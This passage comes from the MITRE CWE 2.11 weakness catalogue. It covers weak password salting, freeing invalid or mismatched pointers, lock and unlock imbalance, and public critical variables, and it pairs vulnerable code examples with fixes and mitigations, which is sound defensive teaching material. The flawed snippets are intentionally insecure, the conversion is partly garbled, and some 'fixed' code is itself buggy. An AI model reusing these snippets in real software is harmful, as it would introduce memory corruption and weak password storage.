    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-1058</td>
<td>Router does not use a salt with a hash, making it easier to crack passwords.</td>
</tr>
<tr>
<td>CVE-2008-1526</td>
<td>Router does not use a salt with a hash, making it easier to crack passwords.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
High
Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.759.1], scrypt [R.759.2], and PBKDF2 [R.759.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Architecture and Design
Limited
If a technique that requires extra computational effort cannot be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Implementation

Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Background Details
In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.
CWE-760: Use of a One-Way Hash with a Predictable Salt

**Summary**
The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

**Extended Description**
This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

**Common Consequences**
Access Control
Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0967</td>
<td>Server uses a constant salt when encrypting passwords, simplifying brute force attacks.</td>
</tr>
<tr>
<td>CVE-2002-1657</td>
<td>Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-760: Use of a One-Way Hash with a Predictable Salt

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0408</td>
<td>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2008-4905</td>
<td>Blogging software uses a hard-coded salt when calculating a password hash.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.760.1], scrypt [R.760.2], and PBKDF2 [R.760.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Implementation

Limited

If a technique that requires extra computational effort cannot be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>916</td>
<td>Use of Password Hash With Insufficient Computational Effort</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>958</td>
<td>SFP Secondary Cluster: Broken Cryptography</td>
<td>888</td>
</tr>
</tbody>
</table>

References

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID: 761 (Weakness Variant)  
Status: Incomplete

Description

**Summary**

The application calls `free()` on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

**Extended Description**

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the `malloc()` family functions and `free()` is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

**Time of Introduction**

- Implementation

**Common Consequences**

- Integrity
- Availability
- Confidentiality
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

**Demonstrative Examples**

**Example 1:**

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

**C Example:**

```c
#define SUCCESS (1)
```
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){ /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

**C Example:**

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){ /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

**Example 2:**

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

**C Example:**

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \	")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
    /* ... */
free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

**Example 3:**

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

```c
/* Good Code */
```
CWE Version 2.11
CWE-761: Free of Pointer not at Start of Buffer

C Example:

```c
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " 	";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep);
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

C Example:

```c
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " 	";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )
```

Potential Mitigations

Implementation
When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Implementation
When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design
Use a language that provides abstractions for memory allocation and deallocation.

Testing
Use a tool that dynamically detects memory management problems, such as valgrind.

Relationships
CWE Version 2.11

CWE-762: Mismatched Memory Management Routines

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>969</td>
<td>SFP Secondary Cluster: Faulty Memory Release</td>
<td>888</td>
</tr>
</tbody>
</table>

**Affected Resources**
- Memory

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP12</td>
<td>Faulty Memory Release</td>
</tr>
</tbody>
</table>

**References**

"Valgrind". <http://valgrind.org/>.

**Maintenance Notes**
Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

**CWE-762: Mismatched Memory Management Routines**

**Weakness ID:** 762 *(Weakness Variant)*

**Description**

**Summary**
The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

**Extended Description**
This weakness can be generally described as mismatching memory management routines, such as:

- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.
- When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++
- Manual Memory Managed Languages

**Common Consequences**
- Integrity
- Availability
- Confidentiality
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

**Likelihood of Exploit**
Low
## CWE Version 2.11
### CWE-762: Mismatched Memory Management Routines

### Demonstrative Examples

#### Example 1:
This example allocates a BarObj object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

**C++ Example:**

```c++
void foo(){
    BarObj *ptr = new BarObj();
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the `malloc` family functions, or else deleted the object with the `delete` operator.

**C++ Example:**

```c++
void foo(){
    BarObj *ptr = new BarObj();
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

#### Example 2:
In this example, the program does not use matching functions such as `malloc/free`, `new/delete`, and `new[]/delete[]` to allocate/deallocate the resource.

**C++ Example:**

```c++
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

#### Example 3:
In this example, the program calls the `delete[]` function on non-heap memory.

**C++ Example:**

```c++
class A{
    void foo(bool);    
};
void A::foo(bool heap) {
    int localArray[2] = {11, 22};
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

### Potential Mitigations

**Implementation**

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.
### Implementation

**Libraries or Frameworks**
Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.762.3].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

### Architecture and Design

**Libraries or Frameworks**
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

### Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>Release of Invalid Pointer or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑️</td>
<td>SFP Secondary Cluster: Faulty Memory Release</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑️</td>
<td>Free of Memory not on the Heap</td>
<td>1000</td>
</tr>
</tbody>
</table>

### Affected Resources

- Memory

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM39-CPP</td>
<td>Resources allocated by memory allocation functions must be released using the corresponding memory deallocation function</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP12</td>
<td>Faulty Memory Release</td>
</tr>
</tbody>
</table>

### References


"Valgrind". <http://valgrind.org/>.


### CWE-763: Release of Invalid Pointer or Reference

**Weakness ID:** 763 *(Weakness Base)*

**Status:** Incomplete

#### Description

**Summary**
The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

**Extended Description**
This weakness can take several forms, such as:
The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

**Time of Introduction**
- Implementation

**Common Consequences**
- Integrity
- Availability
- Confidentiality
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.

**Demonstrative Examples**

**Example 1:**
This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

**C Example:**

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char **ap, *argv[10], *inputstring;
    for (ap = argv; (*ap = strsep(&inputstring, " 	")) != NULL;)
        if (**ap != '\0')
            if (++ap >= &argv[10])
                break;
    //...
    free(ap[4]);
}
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

**Example 2:**
This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

**C++ Example:**

```c++
#include <iostream>

class BarObj {
    public:
        void *ptr;

    public:
        BarObj() : ptr(NULL) {
            std::cout << "Allocation made..."
        }
        ~BarObj() {
            std::cout << "Deallocation made..."
            delete ptr;
        }

    public:
        void set_ptr(void *ptr) {
            this->ptr = ptr;
        }
        void *get_ptr() const {
            return ptr;
        }
    private:
        BarObj(const BarObj &other) {};
        BarObj &operator=(const BarObj &other) {};
};

void foo(){
    BarObj *ptr = new BarObj();
    /* do some work with ptr here */
    //.../
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

**C++ Example:**

```c++
#include <iostream>

class BarObj {
    public:
        void *ptr;

    public:
        BarObj() : ptr(NULL) {
            std::cout << "Allocation made..."
        }
        ~BarObj() {
            std::cout << "Deallocation made..."
            delete ptr;
        }

    public:
        void set_ptr(void *ptr) {
            this->ptr = ptr;
        }
        void *get_ptr() const {
            return ptr;
        }
    private:
        BarObj(const BarObj &other) {};
        BarObj &operator=(const BarObj &other) {};
};

void foo(){
    BarObj *ptr = new BarObj();
    /* do some work with ptr here */
    //.../
    delete ptr;
}
```

**Example 3:**
In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.
CWE Version 2.11
CWE-763: Release of Invalid Pointer or Reference

C Example:

```c
#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it. Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

C Example:

```c
#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){  
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

C Example:

```c
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char* tok;
char* sep = " ";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){  
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    } else{
```
add_to_command_queue( tok );
}
tok = strtok( NULL, sep));
}

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

C Example:

```c
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

**Potential Mitigations**

**Implementation**

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

**Implementation**

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

**Architecture and Design**

Use a language that provides abstractions for memory allocation and deallocation.

**Testing**

Use a tool that dynamically detects memory management problems, such as valgrind.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699 688</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>1000 700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699 784</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631 983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>969</td>
<td>SFP Secondary Cluster: Faulty Memory Release</td>
<td>888 1384</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
<td>1000 1162</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
<td>1000 1165</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Affected Resources**

- Memory
CWE-764: Multiple Locks of a Critical Resource

**Description**

**Summary**

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

**Extended Description**

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Availability
- Integrity
- DoS: resource consumption (CPU)
- DoS: crash / exit / restart
- Unexpected state

**Potential Mitigations**

**Implementation**

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>667</td>
<td>Improper Locking</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP21</td>
<td>Multiple locks/unlocks</td>
</tr>
</tbody>
</table>
Maintenance Notes
An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

CWE-765: Multiple Unlocks of a Critical Resource

<table>
<thead>
<tr>
<th>Weakness ID: 765 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

**Description**

**Summary**
The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

**Extended Description**
When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

**Time of Introduction**
- Implementation

**Common Consequences**
- Availability
- Integrity
- DoS: crash / exit / restart
- Modify memory
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-0935</td>
<td>Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**
When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>667</td>
<td>Improper Locking</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1034</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1045</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1391</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP21</td>
<td>Multiple locks/unlocks</td>
</tr>
</tbody>
</table>

**Maintenance Notes**
An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.
CWE Version 2.11

CWE-766: Critical Variable Declared Public

Weakness ID: 766 (Weakness Variant)  Status: Incomplete

Description

Summary
The software declares a critical variable or field to be public when intended security policy requires it to be private.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• C++
• C#
• Java

Common Consequences

Integrity
Confidentiality
Read application data
Modify application data
Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.

Likelihood of Exploit
Low to Medium

Demonstrative Examples

Example 1:
The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

C++ Example:

```
public: char* password;
```

Instead, the critical data should be declared private.

C++ Example:

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:
The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

C++ Example:

```
define MAX_PASSWORD_LENGTH 15
define MAX_USERNAME_LENGTH 15
class UserAccount
{
    public:
        UserAccount(char *username, char *password)
        {
            if ((strlen(username) > MAX_USERNAME_LENGTH) ||
                (strlen(password) > MAX_PASSWORD_LENGTH)) {
                ExitError("Invalid username or password");
            }
```
```cpp
int authorizeAccess(char *username, char *password)
{
    if ((strlen(username) > MAX_USERNAME_LENGTH) ||
        (strlen(password) > MAX_PASSWORD_LENGTH)) {
        ExitError("Invalid username or password");
    }
    // if the username and password in the input parameters are equal to
    // the username and password of this account class then authorize access
    if (strcmp(this->username, username) ||
        strcmp(this->password, password))
        return 0;
    // otherwise do not authorize access
    else
        return 1;
}
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
```

However, the member variables `username` and `password` are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

### C++ Example:

```cpp
class UserAccount
{
    public:
        ...
    private:
        char username[MAX_USERNAME_LENGTH+1];
        char password[MAX_PASSWORD_LENGTH+1];
};
```

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-3860</td>
<td>variables declared public allows remote read of system properties such as user name and home directory.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✅</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✅</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
